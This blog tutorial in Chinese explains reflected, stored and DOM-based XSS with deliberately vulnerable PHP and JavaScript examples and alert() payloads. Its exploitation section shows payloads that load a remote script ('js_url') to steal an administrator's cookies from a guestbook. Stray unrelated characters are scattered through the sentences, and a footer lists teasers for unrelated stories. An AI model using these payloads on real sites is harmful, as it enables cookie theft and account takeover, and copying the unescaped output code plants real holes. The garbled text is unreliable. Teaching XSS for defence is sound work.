xss漏洞攻擊與防御

xss 簡介

xss 跨站腳本攻擊(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets,CSS)縮寫混淆吗铐,所以將跨站腳本攻擊縮寫為xss邢享。

xss是什么

xss就是攻擊者在web頁面插入惡意的Script代碼闺鲸,當(dāng)用戶瀏覽該頁之時(shí),嵌入其中web里面的Script代碼會(huì)被執(zhí)行针炉,從而達(dá)到惡意攻擊用戶的特殊目的曲稼。

xss的類型

xss類型一般分為三種:

第一種:反射型XSS

反射型XSS只是簡單的把用戶輸入的數(shù)據(jù)“反射”給瀏覽器.也就是說需要誘使用戶“點(diǎn)擊”一個(gè)惡意鏈接女阀,才能攻擊成功。反射型XSS也叫作“非持久型XSS”

第二種:儲(chǔ)存型XSS

儲(chǔ)存型XSS會(huì)把用戶輸入的數(shù)據(jù)“儲(chǔ)存”在服務(wù)器端跳仿。這種XSS具有很強(qiáng)的穩(wěn)定性

第三種:DOM Based XSS

實(shí)際上诡渴,這種類型的XSS并非按照“數(shù)據(jù)是否保存在服務(wù)器端”來劃分的,從效果上來說也是反射型XSS單獨(dú)劃分出來的菲语,因?yàn)镈OM Based XSS 的形成原因比較特別妄辩。這是由于客戶端腳本自身解析不正確導(dǎo)致的安全問題。

XSS的攻擊原理

反射型XSS的攻擊原理

反射型XSS山上,是最常用的眼耀,使用最廣的一種方式。通過給別人發(fā)送有惡意腳本代碼參數(shù)的URL佩憾,當(dāng)URL地址被打開時(shí)畔塔,特有的惡意代碼參數(shù)唄HTML解析、執(zhí)行鸯屿。
它的特點(diǎn):是非持久化澈吨,必須用戶點(diǎn)擊帶有特定參數(shù)的鏈接才能引起。

例子:
假設(shè)一個(gè)頁面把用戶輸入的參數(shù)直接輸出到頁面上:

<?php   
    $input = $_GET["param"];
    echo "<div>".$input."</div>"
?>

正常情況下寄摆,用戶想param提交數(shù)據(jù)會(huì)展示到頁面中谅辣,比如:
http://127.0.0.1/xss.php?param=This is a test!
會(huì)得到如下結(jié)果:


在查看頁面源代碼,可以看到:
<div>/This is a xss test!</div>
但是如果提交一段HTML代碼:
http://127.0.0.1/xss.php?param=<script>alert(/This is a xss test!/)</script>
會(huì)發(fā)現(xiàn)婶恼,alert(/This is a xss test!/)在當(dāng)前頁面執(zhí)行了:

再查看源代碼:
<div><script>alert(/This is a xss test!/)</script></div>
用戶輸入的的Script桑阶,腳本已經(jīng)被寫入頁面中柏副,這并不是開發(fā)者所希望看到的。這就是反射型XSS攻擊的原理

儲(chǔ)存型XSS的攻擊原理

存儲(chǔ)型的攻擊腳本被存儲(chǔ)到了數(shù)據(jù)庫或者文件中蚣录,服務(wù)端在讀取了存儲(chǔ)的內(nèi)容回顯了割择。就是存儲(chǔ)型。這種情況下用戶直接打開正常的頁面就會(huì)看到被注入
流程如下:
壞人把惡意的XSS代碼提交網(wǎng)站--->網(wǎng)站把XSS代碼存儲(chǔ)進(jìn)數(shù)據(jù)庫--->當(dāng)頁面再次被其他正常用戶請求時(shí)萎河,服務(wù)器發(fā)送已經(jīng)被植入XSS代碼的數(shù)據(jù)給客戶端--->客戶端執(zhí)行XSS代碼
例子:

<html>
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>留言板</title> 
</head> 
<body> 
<center> 
<h6>我的留言板</h6>
<form action="" method="get"> 
<h6>請輸入留言內(nèi)容</h6> 
<input type="text" name="xss_input_value" placeholder="輸入留言內(nèi)容"><br> 
<input type="submit" > 
</form> 
<hr> 
<h6>這里假設(shè)我們是正常用戶來查看留言這個(gè)界面</h6>    
<?php 
if(isset($_GET['xss_input_value'])){
    $xss = $_GET['xss_input_value'];  
    if(isset($xss)){  
    echo '<input type="text" value="'.$xss.'">';  
    }else{  
    echo '<input type="type" vplaceholder="輸出留言內(nèi)容">';  
    }
}else{
    echo '<input type="type" placeholder="輸出留言內(nèi)容">';
}
?> 
</center> 
</body> 
</html> 

這里我們假設(shè)第一個(gè)輸入框的數(shù)據(jù)存入了數(shù)據(jù)庫荔泳,而輸出框從數(shù)據(jù)庫中讀取輸入的數(shù)據(jù)。
此時(shí)在輸入框插入惡意的代碼
"><script>alert(/This is a xss test!/)</script>(">是用來閉合input標(biāo)簽)
當(dāng)正常用戶想要來查看留言板的內(nèi)容時(shí)這條惡意代碼就會(huì)被瀏覽器加載并執(zhí)行

DMO Based XSS的攻擊原理

DOM-based XSS漏洞是基于文檔對象模型Document Objeet Model 的一種漏洞虐杯。DOM是一個(gè)與平臺(tái)玛歌、編程語言無關(guān)的借口,它允許程序或腳本動(dòng)態(tài)的訪問或者更新文檔內(nèi)容擎椰、結(jié)構(gòu)和樣式支子,處理后的結(jié)果能夠成為顯示頁面的一部分。DOM中有很多對象达舒,其中一些事用戶可以操作的.客戶端的腳本程序可以通過DOM動(dòng)態(tài)地檢查和修改頁面內(nèi)容值朋,它不依賴于提交數(shù)據(jù)到服務(wù)器端,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行巩搏,如果DOM中的數(shù)據(jù)沒有經(jīng)過嚴(yán)格的確認(rèn)昨登,就會(huì)產(chǎn)生DOM-based XSS漏洞。
看如下代碼:

<script>

function test(){
    var str = document.getElementById("text").value;
    document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
}

</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />

點(diǎn)擊“write”按鈕后塔猾,會(huì)在當(dāng)前頁面插入一個(gè)超鏈接篙骡,其地址為文本框的內(nèi)容:

在這里,"write"按鈕的onclick事件調(diào)用了test()函數(shù)丈甸。而在test()函數(shù)中糯俗,修改了頁面DOM節(jié)點(diǎn),通過innerHTML把一段用戶數(shù)據(jù)當(dāng)做HTML寫入頁面中睦擂,這就造成了DOM based XSS.

構(gòu)造如下數(shù)據(jù):
' onclick=alert(/xss/) //
輸入之后得湘,頁面代碼變成了:
<a href='' onclick=alert(/xss/) //' >testLink</a>
首先一個(gè)單引號閉合掉href的第一個(gè)單引號,然后插入一個(gè)onclick事件顿仇,最后在用注釋符"http://"注釋掉第二個(gè)單引號淘正。

點(diǎn)擊這個(gè)新生成的鏈接,腳本將會(huì)執(zhí)行臼闻,如下圖所示:

XSS的利用

說了一大堆鸿吆,大家以為 XSS就是彈窗,其實(shí)錯(cuò)了述呐,彈窗只是測試XSS的存在性和使用性惩淳。
這時(shí)我們要插入JS代碼了。
可以這樣
<script scr="js_url"></script>
或者這樣
<img src=x onerror=appendChild(creatElement('script')).src='js_url'>
各種姿勢乓搬,各種插思犁,只要能夠運(yùn)行我們的js就可以代虾,js可以干很多事,可以獲取cookies激蹲、控制用戶的動(dòng)作燈等棉磨。
比如我們在網(wǎng)站的留言區(qū)輸入下面的代碼:
<script scr="js_url"></script>
當(dāng)管理員進(jìn)入后臺(tái)瀏覽留言的時(shí)候,就會(huì)觸發(fā)学辱,然后管理員的cookies和后臺(tái)地址還有管理員瀏覽器版本等等都可以獲取到乘瓤。

xss的防御

現(xiàn)在的XSS如此流行,原因何在项郊。我想大家應(yīng)該都知道馅扣,就是在輸入的時(shí)候沒有做嚴(yán)格的過濾斟赚,而在輸出的時(shí)候着降,也沒有進(jìn)行檢查,轉(zhuǎn)義拗军,替換等
所以防范的方法就是任洞,不信任任何用戶的輸入,對每個(gè)用戶的輸入都做嚴(yán)格檢查发侵,過濾交掏,在輸出的時(shí)候,對某些特殊字符進(jìn)行轉(zhuǎn)義刃鳄,替換等

Bypass xss過濾

大部分情況下網(wǎng)站都對用戶輸入的數(shù)據(jù)進(jìn)行了過濾盅弛,大家可以參考以下文章:
<a src="http://drops.wooyun.org/tips/845">http://drops.wooyun.org/tips/845</a>

心得:由于自己js代碼基礎(chǔ)為0,并不能給大家?guī)矸浅I願(yuàn)W的東西叔锐。如果有錯(cuò)誤希望大家在下邊評論指出挪鹏。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市愉烙,隨后出現(xiàn)的幾起案子讨盒,更是在濱河造成了極大的恐慌,老刑警劉巖步责,帶你破解...
    沈念sama閱讀 206,126評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件返顺,死亡現(xiàn)場離奇詭異,居然都是意外死亡蔓肯,警方通過查閱死者的電腦和手機(jī)遂鹊,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,254評論 2 382
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來蔗包,“玉大人秉扑,你說我怎么就攤上這事∑遥” “怎么了邻储?”我有些...
    開封第一講書人閱讀 152,445評論 0 341
  • 文/不壞的土叔 我叫張陵赋咽,是天一觀的道長。 經(jīng)常有香客問我吨娜,道長脓匿,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,185評論 1 278
  • 正文 為了忘掉前任宦赠,我火速辦了婚禮陪毡,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘勾扭。我一直安慰自己毡琉,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,178評論 5 371
  • 文/花漫 我一把揭開白布妙色。 她就那樣靜靜地躺著桅滋,像睡著了一般。 火紅的嫁衣襯著肌膚如雪身辨。 梳的紋絲不亂的頭發(fā)上丐谋,一...
    開封第一講書人閱讀 48,970評論 1 284
  • 那天,我揣著相機(jī)與錄音煌珊,去河邊找鬼号俐。 笑死,一個(gè)胖子當(dāng)著我的面吹牛定庵,可吹牛的內(nèi)容都是我干的吏饿。 我是一名探鬼主播,決...
    沈念sama閱讀 38,276評論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼蔬浙,長吁一口氣:“原來是場噩夢啊……” “哼猪落!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起敛滋,我...
    開封第一講書人閱讀 36,927評論 0 259
  • 序言:老撾萬榮一對情侶失蹤许布,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后绎晃,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體蜜唾,經(jīng)...
    沈念sama閱讀 43,400評論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,883評論 2 323
  • 正文 我和宋清朗相戀三年庶艾,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了袁余。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 37,997評論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡咱揍,死狀恐怖颖榜,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤掩完,帶...
    沈念sama閱讀 33,646評論 4 322
  • 正文 年R本政府宣布噪漾,位于F島的核電站,受9級特大地震影響且蓬,放射性物質(zhì)發(fā)生泄漏欣硼。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,213評論 3 307
  • 文/蒙蒙 一恶阴、第九天 我趴在偏房一處隱蔽的房頂上張望诈胜。 院中可真熱鬧,春花似錦冯事、人聲如沸焦匈。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,204評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽缓熟。三九已至,卻和暖如春岩饼,著一層夾襖步出監(jiān)牢的瞬間荚虚,已是汗流浹背薛夜。 一陣腳步聲響...
    開封第一講書人閱讀 31,423評論 1 260
  • 我被黑心中介騙來泰國打工籍茧, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人梯澜。 一個(gè)月前我還...
    沈念sama閱讀 45,423評論 2 352
  • 正文 我出身青樓寞冯,卻偏偏與公主長得像,于是被迫代替她去往敵國和親晚伙。 傳聞我的和親對象是個(gè)殘疾皇子吮龄,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,722評論 2 345

推薦閱讀更多精彩內(nèi)容